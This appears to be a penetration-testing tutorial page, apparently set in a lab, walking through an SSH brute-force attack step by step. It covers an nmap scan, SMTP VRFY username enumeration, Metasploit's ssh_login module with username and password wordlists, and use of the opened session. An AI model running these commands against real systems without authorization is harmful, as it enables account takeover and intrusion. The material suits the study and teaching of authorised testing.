SSH Brute-Force

SSH is generally secure due to its use of encryption, but its authentication layer can still be compromised through weak or reused passwords. This attack uses Metasploit's ssh_login module to systematically test username and password combinations against a target, gaining access whenever a valid credential pair is found. Before running the attack, wordlists containing candidate usernames and passwords should be prepared in advance.

Discovery

Command
nmap -A -p- -T5 [target IP]
Description

Scans all ports with service versions and OS detection; SSH (22) is identified as open.

Enumeration

Command
smtp-user-enum -M VRFY -U /usr/share/wordlists/fern-wifi/common.txt -t [target IP]
Description

Queries the SMTP server's VRFY command with each username in the wordlist, revealing which ones actually exist on the system — providing verified usernames to use in the SSH brute-force attempt instead of guessing blindly.

Attack

Command
msfconsole
Description

Launches the Metasploit Framework console.

Command
search ssh
Description

Searches for modules related to SSH.

Command
use auxiliary/scanner/ssh/ssh_login
Description

Selects the SSH login brute-force scanner module.

Command
show options
Description

Displays the required parameters for the module.

Command
set rhosts [target IP]
Description

Sets the target's IP address.

Command
set USER_FILE /usr/share/wordlists/sshusers.txt
Description

Verified usernames discovered via SMTP enumeration.

Command
set PASS_FILE /usr/share/wordlists/sshpassword.txt
Description

Sets the wordlist file containing candidate passwords to try.

Command
exploit
Description

Launches the brute-force attempt in the foreground, showing each username/password combination as it's tried.

Verification

Command
sessions -l
Description

Lists active sessions.

Command
sessions -i [id]
Description

Connects to the session opened with the discovered credentials.

Command
whoami
Description

Confirms which user account and credentials were discovered — in this case, msfadmin rather than root.

Command
uname -a
Description

Displays the target system's kernel information.

Command
ls
Description

Confirms file access within the compromised account.

First Step

Before running this attack, verified usernames should be gathered instead of guessing blindly — see how to enumerate valid SMTP accounts here.

Tool Used

This attack was carried out using Metasploit Framework — see the full command reference here.